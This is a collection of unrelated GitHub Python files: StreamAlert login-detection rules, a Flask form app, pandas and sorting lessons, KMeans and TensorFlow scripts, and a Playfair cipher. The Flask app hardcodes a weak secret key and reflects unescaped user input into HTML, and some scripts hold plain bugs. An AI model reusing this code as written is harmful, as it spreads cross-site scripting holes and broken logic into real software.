+{"seq_id":"73027830133","text":"from stream_alert.rules_engine import StreamRules\nfrom stream_alert.rule_helpers import in_set, last_hour\n\nrule = StreamRules.rule\n\n# osquery invalid user\n@rule('invalid_user',\n      logs=['osquery'],\n      matchers=[],\n      outputs=['pagerduty'])\ndef invalid_user_rule(rec):\n    \"\"\"Catch unauthorized user logins\"\"\"\n    auth_users = {'alice', 'bob'}\n    query = rec['name']\n    user = rec['columns']['user']\n\n    return (\n        query == 'logged_in_users' and\n        user not in auth_users\n    )\n\n\n# invalid subnet rule\nfrom netaddr import IPAddress, IPNetwork\n\n@rule('invalid_subnet',\n      logs=['osquery'],\n      matchers=['logged_in_users'],\n      outputs=['pagerduty'])\ndef invalid_subnet_rule(rec):\n    \"\"\"Catch logins from unauthorized subnets\"\"\"\n    valid_cidr = IPNetwork('10.2.0.0/24')\n    ip = IPAddress(rec['columns']['host'])\n\n    return ip not in valid_cidr\n\n\n# rule layout\n@rule('rule', \n      logs=[],\n      matchers=[],\n      outputs=[])\ndef rule_func(rec):\n    \"\"\"Description\"\"\"\n    return True\n\n\n@rule('sample_json_rule',\n      logs=['json_log'],\n      matchers=[],\n      outputs=['s3'])\ndef sample_json_rule(rec):\n    return rec['host'] == 'test-host-1'\n\n\n@rule('sample_syslog_rule',\n      logs=['syslog_log'],\n      matchers=[],\n      outputs=['pagerduty'])\ndef sample_syslog_rule(rec):\n    return rec['application'] == 'sudo'\n\n\n@rule('sample_csv_rule',\n      logs=['csv_log'],\n      matchers=[],\n      outputs=['s3'])\ndef sample_csv_rule(rec):\n    return rec['host'] == 'test-host-2'\n\n\n@rule('sample_kv_rule',\n      logs=['kv_log'],\n      matchers=[],\n      outputs=['s3'])\ndef sample_kv_rule(rec):\n    return (\n        rec['msg'] == 'fatal' and\n        rec['uid'] == 100\n    )\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/airbnb_streamalert/streamalert-master/rules/sample_rules.py","file_name":"sample_rules.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"6881520827","text":"from flask import Flask,render_template, url_for, request\r\nfrom flask_ngrok import run_with_ngrok\r\nimport db\r\nfrom forms import myForm\r\nfrom wtforms import validators\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET KEY'] = 'Thisissecret!'\r\n\r\n\r\nrun_with_ngrok(app)\r\n\r\n@app.route('/')\r\ndef flask_mongodb_atlas():\r\n    return \"flask mongodb atlas!\"\r\n\r\n\r\n# #test to insert data to the data base\r\n# @app.route(\"/test\")\r\n# def test():\r\n#     db.db.collection.insert_one({\"name\": \"John\"})\r\n#     return \"Connected to the data base!\"\r\n\r\n@app.route('/form', methods=['GET','POST'])\r\ndef form():\r\n    form = myForm()\r\n    if request.method == \"POST\":\r\n        db.db.collection.insert_one({\"message\": request.form['message']})\r\n        return '<h1> The message is : {} '.format(request.form['message'])\r\n    else:\r\n        return render_template(\"form.html\", form=form)\r\n\r\nif __name__ == '__main__':\r\n    app.run()","repo_name":"nivedita0701/flask_form","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36268326291","text":"import pandas as pd\n# # series\n# data = pd.Series([1.2 , 1.3, 1.4, 1.5])\n# print(data)\n# print(data.index)\n# print(data.values)\n# print(data[1])\n# print(data[2:4])\n\n# mang np chuyen qua pandas\nimport numpy as np\n# x = np.array([11,12,14,17])\n# S = pd.Series(x)\n# print(S)\n# # thay doi chi so trong mang Series\n# S = pd.Series([1.2 , 1.3, 1.4, 1.5], index=['a', 'b', 30, 'd'])\n# print(S)\n# print(S)\n# # tuple\n# s = pd.Series({'a': 100, 'c': 300, 'd': 400})\n# print(s)\n\"\"\"\n# dataframe: nhu mang trong numpy\ndanso = {'fox': 200, 'tesxa': 300, 'cali': 500}\npopulation = pd.Series(danso)\nprint(\"dan so\\n\", population)\n\ndientich = {'fox': 2000000, 'tesxa': 1500000, 'cali': 50000000}\nArea = pd.Series(dientich)\nprint(\"dien tich\\n\",Area)\n# ghep mang :)) vi no cung chi so (INDEX)\nstates = pd.DataFrame({'population': population, 'area': Area})\nprint(states)\nprint(states.index)\nprint(states.columns)\nprint(states['population'])\n# moi cot cua bang la kieu series\ntemp = states['area']\nprint(type(temp))\n\nS = pd.Series(['a' , 'b', 'c'], index=[1, 3, 5])\nprint(S[1], S[3])\n# laay chi so 1 toi chi so 3-1\nprint(S[1:3])\n#########################suy ra sinh ra ham   location va index location\n# nhap vao cac index da khai bao\nprint(S.loc[1])\n# gia tri index trong khoang 1 den 10 ( lay het cac index 1,3,5 vi 10>5)\nprint(S.loc[1:10])\n# vitri chi so that su: giong java, android\nprint(S.iloc[0])\nprint(S.iloc[0:10])\n\n##############################################################\ndanso = {'fox': 200, 'tesxa': 300, 'cali': 500}\npopulation = pd.Series(danso)\nprint(\"dan so\\n\", population)\n\ndientich = {'fox': 2000000, 'tesxa': 1500000, 'cali': 50000000}\nArea = pd.Series(dientich)\nprint(\"dien tich\\n\",Area)\n# ghep mang :)) vi no cung chi so (INDEX)\nstates = pd.DataFrame({'population': population, 'area': Area})\nprint(\"states:::::::::::::::\")\nprint(states)\n# cham ten index\nprint(states.area)\n\n# them 1 truong\nstates['density'] = states['population'] / states['area']\nprint(states)\nstates['density'] = 0\nprint(states)\nstates['density'] = states['population'] / states['area']\nprint(states)\n###########   lay du lieu cot thu 0 : no giong nu ma tran\nprint(states.values[0])\n# no giong nu ma tran   vidu: dong 0 cot 1  OKOKOKOKOKOKKKKKKKKKKKKK\nprint(states.values[0,1])\n# loc/iloc\n# lay dong dau tien  2 cach viet\nprint(states.iloc[0])\nprint(states.loc['fox'])\n##### cot dau tien A[start:stop:step]\nprint(states.iloc[:])\n#buoc nhay la 2\nprint(states.iloc[::2])\nprint(\"cot dau tien: \\n\",states.iloc[:,0])\n#################################### loc data\nprint(states.loc[states['density']>0.00015])\n\n## thay doi gia tri ma tran\nstates.iloc[2,1] = 0\nprint(states)\n\n\"\"\"\n\"\"\"\nphep toán trong pandas - giong nhu trên numpy\n#mang 1 chieu\nser = pd.Series(np.random.randint(0,10,4))\nprint(ser)\n#matran\ndf = pd.DataFrame(np.random.randint(0,10,(3,4)))\nprint(df)\nprint(np.sin(ser))\nprint(np.sin(df))\n\"\"\"\n# giống hàng chỉ số\n# neu chi so cua 2 seri ko giông nhau ?\n\n\ndanso = {'fox': 200, 'tesxa': 300, 'cali': 500}\npopulation = pd.Series(danso)\n# print(\"dan so\\n\", population)\n\ndientich = {'fox': 2000000, 'tesxa': 1500000, 'new york': 50000000}\nArea = pd.Series(dientich)\n# print(\"dien tich\\n\",Area)\n# ghep mang :)) vi no cung chi so (INDEX)\nstates = pd.DataFrame({'population': population, 'area': Area})\n# print(\"states:::::::::::::::\")\n################# vi khong giong nhau ve index nen sinh ra NaN\n\ndensity = population/Area\nprint(density)\nprint(density.index)\n# lap tat ca cac Nan =  0\nden = population.div(Area, fill_value=0)\nprint(\"den: \\n\", den)\n\n\ndf1 = pd.DataFrame(np.random.randint(0, 20, (2, 2)),\ncolumns=list('AB'))\ndf2 = pd.DataFrame(np.random.randint(0, 10, (3, 3)),\ncolumns=list('BAC'))\nprint(\"df1\", df1)\nprint(\"df1\", df2)\nprint(df1+df2)\n# cong:  seri nao bằng NaN thì gán = 1\ntong = df1.add(df2,fill_value=1)\nprint(tong)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"phuctrang/Python-Lessons","sub_path":"buoi6.1.py","file_name":"buoi6.1.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36067041488","text":"\"\"\"  通过聚类，了解1999年各省份的消费水平在国内的情况   \"\"\"\r\n\r\nimport numpy as np\r\nfrom sklearn.cluster import KMeans\r\n# 导入sklearn相关包\r\n\r\ndef loadData(filePath):\r\n    fp = open(filePath,'r+',encoding= 'utf-8') #读写方式打开存储城市信息的文件\r\n    lines = fp.readlines()  #读取文件中的所有信息\r\n    retData = []       #用来存储城市的各项消费信息\r\n    recityname = []    #存储城市名称\r\n    for line in lines:\r\n        items = line.strip().split(\",\")\r\n        recityname.append(items[0])\r\n        retData.append([float(items[i]) for i in range(1,len(items))])\r\n    return retData,recityname\r\n\r\n\r\nif __name__ == '__main__':\r\n    filepath = r\"C:\\Users\\14760\\Documents\\city.txt\"\r\n    data,cityName = loadData(filepath)\r\n    km = KMeans(n_clusters = 4) #n_clusters参数用来指定聚类中心的个数\r\n    label = km.fit_predict(data) #fit——predict()方法用于计算簇中心以及为簇分配序号\r\n    expenses = np.sum(km.cluster_centers_,axis=1)  #axis:按行求和\r\n    CityCluster = [[],[],[],[]]\r\n    for i in range(len(cityName)):\r\n        CityCluster[label[i].append(cityName[i])]\r\n    for i in range(len(CityCluster)):\r\n        print('Expenses:%.2f'% expenses[i])\r\n        print(CityCluster[i])\r\n","repo_name":"wt032320/code","sub_path":"Python/ML/聚类/k-means.py","file_name":"k-means.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36677362223","text":"import yaml\nimport tensorflow as tf\nfrom loaders.dataloader import DataLoader\n\ndef load_data(cfg):\n    train_data = DataLoader(cfg, split='train')\n    test_data = DataLoader(cfg, split='test')\n\n    num_train = len(train_data)\n    num_test = len(test_data)\n\n    train_data = tf.data.Dataset.from_generator(train_data, (tf.float32, tf.int32))\n    test_data = tf.data.Dataset.from_generator(test_data, (tf.float32, tf.int32))\n\n    train_data = train_data.batch(batch_size=cfg['SOLVER']['BATCH_SIZE'], drop_remainder=False)\n    test_data = test_data.batch(batch_size=cfg['SOLVER']['BATCH_SIZE'], drop_remainder=False)\n\n    return train_data, test_data\n\nif __name__ == \"__main__\":\n    cfg = yaml.load(open('../configs/cifar10.yaml'), Loader=yaml.FullLoader)\n    train_data, test_data = load_data(cfg)\n\n    image_batch, label_batch = next(iter(train))\n","repo_name":"meliketoy/Tensorflow-2.0-tutorial","sub_path":"residual-network/loaders/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"4822417287","text":"\n# def selection_sort(list):\n\n#     # for i in range(len(list)):\n#     #     min_index = i\n#     #     for j in range(i+1, len(list)): \n#     #         if list[j] < list[min_index]:\n#     #             min_index = j\n#     #     list[i], list[min_index] = list[min_index], list[i]\n\n#     # less efficient, extra space\n#     for i in range(len(list)):\n#         minimum = min(list[i:])\n#         list[list.index(minimum)], list[i] = list[i], list[list.index(minimum)]\n    \n\n\n# L = [3, 1, 1, 41, 59, 26, 53, 59, 0]\n# selection_sort(L)\n# print(L)\n\n# NlogN extra space here, this can be rewritten to use N space\ndef mergesort(list):\n    def merge(right, left):\n        i = j = k = 0\n        while i < len(right) and j < len(left):\n            if right[i] <= left[j]:\n                list[k] = right[i]\n                i += 1\n            else:\n                list[k] = left[j]\n                j += 1\n            k += 1\n        \n        while i < len(right):\n            list[k] = right[i]\n            i += 1\n            k += 1\n        \n        while j < len(left):\n            list[k] = left[j]\n            j += 1\n            k += 1\n    if len(list) < 2:\n        return\n    mid = len(list)//2\n    left = list[:mid]\n    right = list[mid:]\n    mergesort(left) #sort left T(N/2)\n    mergesort(right) #sort right T(N/2)\n    merge(right, left) # merge two sorted list T(N) => N work at each level (log N levels), NlogN\n\n\n# list = [23,4,1,3,1]\n# mergesort(list)\n# print(list)\n\nimport random\ndef quicksort(list):\n    def partition(start, end):\n        pivot = list[start] # lets start with the first element as the pivot and start as partitionIndex\n        l = start + 1 \n        r = end\n        while l <= r:\n            while l<=r and list[l] < pivot: l += 1\n            while l<=r and list[r] > pivot: r -= 1\n            if l <= r:\n                list[l], list[r] = list[r], list[l]\n                l += 1\n                r -= 1\n        list[start], list[r] = list[r], list[start]\n        return r # parttition index which tells us which element is in position\n   \n    def quicksort(start, end):\n        # shuffle the array\n        if start >= end: return\n        p_index = partition(start, end) #since we know the P_index(which is the element in position)\n        quicksort(start, p_index - 1) #sort its right part and then\n        quicksort(p_index + 1, end)#its left \n    \n    quicksort(0, len(list) - 1)\n\n# without keeping track of partition index buggy???\ndef quicksort2(nums):\n    def helper(head, tail):\n        if head >= tail : return\n        l, r = head, tail\n        pivot = nums[(r+l)//2]\n        while l <= r:\n            while l<=r and nums[l] < pivot: l += 1\n            while l<=r and nums[r] > pivot: r -= 1\n            if l <= r:\n                nums[l], nums[r] = nums[r], nums[l]\n                l += 1\n                r -= 1\n        \n        helper(head, r)\n        helper(l, tail)\n\n    random.shuffle(nums) # guarantees performance\n    helper(0, len(nums) - 1)\n\n\n# list = [23,4,1,3,1]\n# quicksort(list)\n# print(list)\n\n# # crude way\ndef quicksort(list):\n    if len(list) < 2:\n        return list\n\n    pivot = list[0]\n    greater = [i for i in list[1:] if i >= pivot]\n    lesser = [i for i in list[1:] if i < pivot]\n    return quicksort(lesser) + [pivot]+ quicksort(greater)\n\n\n# print(quicksort([23,4,1,3,1]))\n\n\n# Counting sort is suitable for arrays with close range \n# unstable version but in place\ndef countsort(nums):\n    l = max(nums) + 1\n    count_array = [0] * l\n    for i in range(len(nums)):\n        count_array[nums[i]] += 1\n    \n    index = 0\n    for num, count in enumerate(count_array):\n        while count > 0:\n            nums[index] = num\n            index += 1\n            count -= 1\n\nnums = [1, 0]\ncountsort(nums)\n# print(nums)\n\n# stable version but not in place\ndef countsortstable(nums):\n    sorted = []\n    l = max(nums) + 1\n    count_array = [0] * l\n    for i in range(len(nums)):\n        count_array[nums[i]] += 1\n\n    # modifying count_array to get the nest_index_array\n    for i in range(1, len(count_array)):\n        count_array[i] += count_array[i - 1]\n    \n    for i in reversed(range(1, len((count_array)))):\n        count_array[i] = count_array[i - 1]\n    count_array[0] = 0\n\n    # this step ensures countsort is stable, take each element in the input array, look at the modified count_array(or next_start index array)\n    # and compute the position the element should go to in the sorted array. Dont also forget to increment the value in that next_start index array \n    # to cater for the next duplicated element\n    for i, num in enumerate(nums):\n        sorted.insert(count_array[num], num)\n        count_array[num] += 1\n\n    \n    for i in range(len(sorted)):\n        nums[i] = sorted[i]\n\n# nums = [1, 0, 3, 1, 3, 1]\n# countsortstable(nums)\n# print(nums)\n\n\n\n# Radix sort uses counting sort as a sub routine to sort the numbers bit by bit starting from the MSB\ndef radix_sort(nums):\n    def countingsort(j):\n        sorted = []\n        count_array = [0] * 10\n        for i in range(len(nums)):\n            count_array[(nums[i] // 10**j ) % 10] += 1\n       \n        for i in range(1, 10):\n            count_array[i] += count_array[i - 1]\n        \n        for i in reversed(range(1, len((count_array)))):\n            count_array[i] = count_array[i - 1]\n        count_array[0] = 0\n        \n        for i, num in enumerate(nums):\n            sorted.insert(count_array[(num //10**j) % 10], num) #insert misbehaves, be casreful\n            count_array[(num//10**j) % 10] += 1\n\n        for i in range(len(sorted)):\n            nums[i] = sorted[i]\n\n    largest = max(nums)\n    j = 0\n    while largest > 0:\n        largest = largest//10\n        countingsort(j)\n        j += 1\n        \n      \n    \n# nums = [123, 145, 166, 112, 999, 10000, 445, 567]\n# radix_sort(nums)\n# print(nums)\n\n\ndef countSort(nums):\n    x = max(nums) + 1\n    countArray = [0] * x\n\n\n    for num in nums:\n        countArray[num] += 1\n    \n    \n    \n    index = 0\n    for i, count in enumerate(countArray):\n        for _ in range(count):\n            nums[index] =  i\n            index += 1\n\n\n    # print(nums)\n\n\ncountSort([1,2,3,4,1])\n\n\n\n#Learn sorted in python with key argument\n\"\"\"\nHow it works, the function passed to the key is called on every element in the input but the output does not modify\nthe original input.\n\"\"\"\n#custom function\ndef cast(str_num):\n    return int(str_num)\n\nvalues_to_cast = ['1', '2', '3', '44', '4']\nsorted(values_to_cast, key = cast)\n\ndef reverse_word(word):\n    return word[::-1]\n\nsorted(['banana', 'pie', 'Washington', 'book'], key=reverse_word)\n\n#you can use lamda instead (for simple functions) which will execute just like a function\nsorted(['banana', 'pie', 'Washington', 'book'], key=lambda x: x[::-1])\nsorted(values_to_cast, key=lambda x: int(x))\n\n#inbuilt function\nsorted(values_to_cast, key = int)\nsorted(['al', 'harry', 'Mark', 'Suzy'], key=str.lower)\nsorted(['al', 'harry', 'Mark', 'Suzy'], key=len)\n\n#Difference between sorted and sort\n\"\"\"\nsort() returns None and modifies the values in place\nsort is a method of the list class and can only be used with lists. It is not a built-in with an iterable passed to it.\n\"\"\"\n\n\"\"\"\nGiven a special alphabet (alien dictionary?) sort a list of words in ascedning order alphabetically:\n\nalphabet: \"a\", \"b\", \"c\", \"ch\", \"d\", \"dd\", \"e\", \"f\", \"ff\", \"g\", \"ng\", \"h\", \"i\", \"l\", \"ll\", \"m\", \"n\", \"o\", \"p\", \"ph\", \"r\", \"rh\", \"s\", \"t\", \"th\", \"u\", \"w\", \"y\"\n\nInput: \"ddr\",  \"nah\", \"dea\", \"dd\", \"ngah\"\n\nOutput: \"dea\", \"dd\", \"ddr\", \"ngah\", \"nah\"\n\"\"\"\n\nwelsh_alphabet = [\"a\", \"b\", \"c\", \"ch\", \"d\", \"dd\", \"e\", \"f\", \"ff\", \"g\", \"ng\", \"h\", \"i\", \"l\", \"ll\", \"m\", \"n\", \"o\", \"p\", \"ph\", \"r\", \"rh\", \"s\", \"t\", \"th\", \"u\", \"w\", \"y\"]\n\ndef sort_welsh(words):\n    \n    token_weight = {welsh_alphabet[i]: i for i in range(len(welsh_alphabet))}\n    \n    def sort_by_index(word):\n        ordered = []\n        i = 0\n        # Special charaters are\n        # \"ch\", \"dd\", \"ff\", \"ng\", \"ll\", \"ph\", \"rh\", \"th\"\n\n        while i < len(word):\n            if word[i:i+2] in token_weight:\n                ordered.append(token_weight[word[i:i+2]])\n                i += 1\n            else:\n                ordered.append(token_weight[word[i]])\n            i += 1\n        print(ordered)\n        return ordered\n\n    return sorted(words, key=sort_by_index)\n\nprint(sort_welsh([\"ddr\",  \"nah\", \"dea\", \"dd\", \"ngah\"])) #mapped (but not modified) to this technically [5, 20] [16, 0, 11] [4, 6, 0] [5] [10, 0, 11] and sorted\n\n# print(sorted( [[25, 20], [16, 0, 11]] ) )\n\n\ndef sort_english(words):\n    \n    def sort_by_index(word):\n        return [ord(c) - ord('a') for c in word]\n\n    return sorted(words, key=sort_by_index)\n\n# print(sort_english([\"ddr\", \"ddf\", \"nah\"]))\n\n# print(sorted( [ [\"ABC\", \"DFG\"], [\"JFK\", \"IJK\"] , [\"JFK\"] ]))\n\n# print(sorted([[10, 20], [10, 5]]))\n\n\n#Kth smallest -> Oth index, can be modified for Kth largest by manipulating k\nclass Solution:\n    def findKthLargest(self, nums, k) -> int:\n        \n        def partition(high, low):\n            pivot = nums[low]\n            pivotIndex = low\n            start = low + 1\n            end = high\n            \n            while start <= end:\n                while start <= end and nums[start] <= pivot: start += 1\n                while start <= end and nums[end] > pivot: end -= 1\n                \n                if start <= end:\n                    nums[start], nums[end] = nums[end], nums[start]\n                    end -= 1\n                    start += 1\n            \n            nums[pivotIndex], nums[end] = nums[end], nums[pivotIndex]\n            return end\n        \n        if not nums: return -1\n        \n        low = 0\n        high = len(nums) - 1\n        \n        random.shuffle(nums) #shuffle element to guarantee O(N) \n        \n        while low < high:\n            partitionIndex = partition(high, low) #all elements to the left of partition Index are lesser than it, right -> greater     \n            \n            if partitionIndex == k:\n                return nums[partitionIndex]\n            elif partitionIndex > k:\n                high = partitionIndex - 1\n            else: low = partitionIndex + 1\n        \n        return nums[k]\n    \n    \n    #Time complexity -> the first partioning takes N work, the next one takes N/2, tehn N/4, then N/8 ...1 = N + N/2 + N/4 +N/8 ... 1 = 2N (similar to amortized TC analysis), Note: this is true if our partitioning logic partitions the array into equal halves (balanced tree), which is why we shuffle which guarantees almost surely the worst case would not happen. The worst case is O(N^2)\n    #therefor TC = O(N)\n    #SC = O(1)\n\n    #Merge sort SC explanation\n#     Although each call to mergeSort triggers two recursive calls, so it makes sense to talk about and draw the binary tree of recursive calls, only one of those two recursive calls is performed at a time; the first call ends before the second call starts. Hence, at any given time, only one branch of the tree is being explored. The \"call stack\" represents this branch.\n\n# The depth of the recursion tree is at most log(n), therefore the height of the call stack is at most log(n).\n\n# How much memory does it take to explore one branch? In other words, how much memory is allocated on the call stack, at most, at any given time?\n\n# At the bottom of the call stack, there is an array of size n.\n\n# On top of that is an array of size n/2.\n\n# On top of that is an array of size n/4.\n\n# Etc...\n\n# So the total size of the call stack is at most n + n/2 + n/4 + ... < 2n.\n\n# Hence the total size of the call stack is at most 2n.\n\n\nnames = ['harry', 'Evelyn']\n#sort by last character\n\nsorted_names = sorted(names, key = lambda x: x[-1])\nprint(sorted_names)\n\nprint(sorted('tunde'))\n\n\nprint(sorted(names, key = str.lower))\n\ndef lower(c):\n    return c.lower()\n\nprint(sorted(names, key = lower))\n\n","repo_name":"tundeOlagunju/dsa-learnings","sub_path":"sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":11805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72933483572","text":"import string as s\n\nclass PlayFair:\n    def __init__(self, text):\n        # 1st row missing chars [A, J, W, Y]\n        # 2nd row missing chars [E, F, J, T, V, Y]\n        # 3rd row missing chars [P, T, X]\n        # 4th row missing chars [D, J, M, N, T, W, Y, Z]\n        # 5th row missing chars [O, R, S, W, X]\n        # 5th row missing chars [C, F, J, T]\n        self.text = text\n        self.grids = None\n\n    def fillGrid(self, key, removed_letter='X'):\n        self.grids = [[],[]]\n\n        # Fills the list of values\n        for i in range(25):\n            self.grids[0].append(i+1)\n\n        # Fills the first squares of the grid with the key\n        for letter in key:\n            if letter not in self.grids[1]:\n                self.grids[1].append(letter)\n\n        # Fills the rest of the grid with alphabetical characters that aren't in the key\n        for i, letter in enumerate(s.ascii_uppercase):\n            if len(self.grids[1]) > 24:\n                self.grids.append(self.grids[1])\n                break\n\n            if letter not in self.grids[1] and letter != removed_letter:\n                self.grids[1].append(s.ascii_uppercase[i])\n\n    def encryptPlayfair(self):\n        pass\n\n    def decryptPlayfair(self):\n\n        encrypted_text = self.text[2]\n        if len(encrypted_text) % 2 != 0:\n            encrypted_text += f'{encrypted_text[len(encrypted_text)-1]}'\n\n        decrypted_text = ''\n\n        pair_index = 0\n        while pair_index < len(encrypted_text):\n            encrypted_pair = '' + encrypted_text[pair_index] + encrypted_text[pair_index + 1]\n            encrypted_values = self.letterToValue(encrypted_pair)\n            decrypted_values = self.decrypt(encrypted_values)\n            decrypted_pair = self.valueToLetter(decrypted_values)\n            decrypted_text += decrypted_pair[0] + decrypted_pair[1]\n            pair_index += 2\n\n        print(decrypted_text)\n\n    def valueToLetter(self, decrypted_pair):\n        string_X = self.grids[1][decrypted_pair[0] - 1]\n        string_Y = self.grids[1][decrypted_pair[1] - 1]\n\n        return [string_X, string_Y]\n\n    def letterToValue(self, encrypted_pair):\n        index_X = self.grids[1].index(encrypted_pair[0]) + 1\n        index_Y = self.grids[1].index(encrypted_pair[1]) + 1\n\n        return [index_X, index_Y]\n\n    def decrypt(self, encrypted_values):\n        X = encrypted_values[0]\n        Y = encrypted_values[1]\n\n        X_Y_swap = False\n\n        # swaps X and Y if X < Y to prevent having to write the logic for when X < Y(will swapped back when returned)\n        if X > Y:\n            temp = X\n            X = Y\n            Y = temp\n            X_Y_swap = True\n\n        left_edge = [1, 6, 11, 16, 21]\n        top_edge  = [1, 2, 3,  4,  5]\n\n        # Check if letters are in the same row\n        if (X-1) // 5 == (Y-1) // 5:\n            if X in left_edge:\n                X = X + 4\n            else:\n                X = X - 1\n\n            if Y in left_edge:\n                Y = Y + 4\n            else:\n                Y = Y - 1\n\n        # Check if letters are in the same column\n        elif Y % 5 == X % 5:\n            if X in top_edge:\n                X = X + 20\n            else:\n                X = X - 5\n\n            if Y in top_edge:\n                Y = Y + 20\n            else:\n                Y = Y - 5\n\n        # Check if letters are the opposite corners of a box\n        else:\n            for j in range(1, 5):\n                for i in range(1, 5):\n                    if (X % 5 == 0) or (X % 5 > Y % 5 and Y % 5 != 0):\n                        if Y == (X - j) + (i * 5):\n                            X -= j\n                            Y += j\n                    else:\n                        if Y == (X + j) + i * 5:\n                            X += j\n                            Y -= j\n\n        if X_Y_swap:\n            return [Y, X]\n        return [X, Y]\n        # Grid for reference\n        #----#----#----#----#----#\n        # 1  # 2  # 3  # 4  # 5  #\n        #----#----#----#----#----#\n        # 6  # 7  # 8  # 9  # 10 #\n        #----#----#----#----#----#\n        # 11 # 12 # 13 # 14 # 15 #\n        #----#----#----#----#----#\n        # 16 # 17 # 18 # 19 # 20 #\n        #----#----#----#----#----#\n        # 21 # 22 # 23 # 24 # 25 #\n        #----#----#----#----#----#","repo_name":"0980991/Basic-Encryption-Methods","sub_path":"PlayFair.py","file_name":"PlayFair.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2636991347","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# --------------------------------------------------------\n# Explanations will be provided later.\n# Escrito por Agustin Urquiza\n# Contacto: agustin.h.urquiza@gmail.com\n# --------------------------------------------------------\n\nimport argparse\nfrom glob import glob\nimport numpy as np\nimport json\nimport os\nfrom tensorflow import convert_to_tensor as arrayToTensor\nfrom auxiliares import load\nfrom model import ModelBase\nimport matplotlib.pyplot as plt\nfrom keras.callbacks import ModelCheckpoint\n\n\ndef parser():\n    \"\"\" Funcion encargada de solicitar los argumentos de entrada.\n\n        Returns:\n            <class 'argparse.Namespace'>: Argumentos ingresados por el usuario.\n    \"\"\"\n\n    # Argumentos de entrada permitidos.\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('-d', '--dirdata', type=str, required=True,\n                        help=\"\"\"Directorio donde se encuentan los features.\"\"\")\n\n    parser.add_argument('-w', '--fword', type=str, required=True,\n                        help=\"\"\"Archivo donde se encuentran las words embeding.\"\"\")\n\n    parser.add_argument('-s', '--fseen', type=str, required=True,\n                        help=\"\"\"Archivo donde se encuentran las clases vistas.\"\"\")\n\n    parser.add_argument('-o', '--diro', type=str, required=True,\n                        help=\"\"\"Directorio de salida del modelo.\"\"\")\n\n    parser.add_argument('-n', '--nepocs', type=int, required=True,\n                        help=\"\"\"Numeo de epocas que se corre el modelo.\"\"\")\n\n    args = parser.parse_args()\n\n    return args\n\n\ndef main():\n    args = parser()\n\n    DIRDATA = args.dirdata\n    FILEWORD = args.fword\n    FILESEEN = args.fseen\n    FILEO = args.diro\n    NEPOCS = args.nepocs\n\n    OUTSIZE = 300\n    INSIZE = 512\n\n    BATCH_SIZE = 64   # Hiper parametro\n    LAMBDA = 10e-3    # Hiper parametro\n    MAX_MARGIN = 1    # Hiper parametro\n    ACTIVATION = None # Hiper parametro\n\n    seen = json.load(open(FILESEEN))\n    words = json.load(open(FILEWORD))\n\n    # Carga la data pre-procesadas.\n    X = np.empty((0, INSIZE))\n    Y = np.empty((0, OUTSIZE))\n    ZEROS = np.zeros([OUTSIZE])\n\n    for file in set([item[:-len('-_.mat')] for item in glob(DIRDATA+'/*')]):\n        X_t = load(file + '-X.mat')\n        Y_t = load(file + '-Y.mat')\n\n        # Filtra los boundingbox backgraund.\n        items = [i for i, y in enumerate(Y_t) if not np.array_equal(y, ZEROS)]\n        X_t = X_t[items]\n        Y_t = Y_t[items]\n        X = np.concatenate((X, X_t), axis=0)\n        Y = np.concatenate((Y, Y_t), axis=0)\n\n    print(\"Se termino de cargar features.\")\n\n    W_Clases = arrayToTensor(np.array([v for k, v in words.items() if k in seen.keys()]), 'float32')\n\n    legendLoss = []\n    legendMetric = []\n    pltL = []\n    pltM = []\n\n    for lr in range(1, 9):\n        print(\"Arrancando modelo whit lr\")\n        lr = 10**-lr\n        callbacks = [ModelCheckpoint(filepath=os.path.join(FILEO, '{:.1e}'.format(lr) + '-weights.hdf5'),\n                                     monitor='loss', verbose=1,  save_best_only=True,\n                                     save_weights_only=False, mode='auto')]\n\n        model = ModelBase(W_Clases, lr=lr, OUTSIZE=OUTSIZE, activation=ACTIVATION,\n                          INSIZE=INSIZE, lamb=LAMBDA, max_marg=MAX_MARGIN)\n        history = model.fit(X, Y, epochs=NEPOCS, callbacks=callbacks, shuffle=True, batch_size=BATCH_SIZE)\n\n        pltL.append(history.history['loss'])\n        pltM.append(history.history['categorical_accuracy'])\n        legendLoss += ['Loss-' + str(lr)]\n        legendMetric += ['CAc' + str(lr)]\n        print(\"Finalizo de entrenar con lr:\" + str(lr) + \"\\n\\n\\n\\n\")\n\n    plt.subplot(2, 1, 1)\n    plt.title('Loss and Categorical Accuracy')\n    for c in pltL:\n        plt.plot(c)\n    plt.legend(legendLoss)\n    plt.ylabel('Value')\n\n    plt.subplot(2, 1, 2)\n    for c in pltM:\n        plt.plot(c)\n    plt.legend(legendMetric)\n    plt.ylabel('Value')\n    plt.xlabel('Epoch')\n\n    plt.savefig('graph_loss_Acc.png')\n    print(\"Finished training the model.\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"agustinhurquiza/Tesis","sub_path":"fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
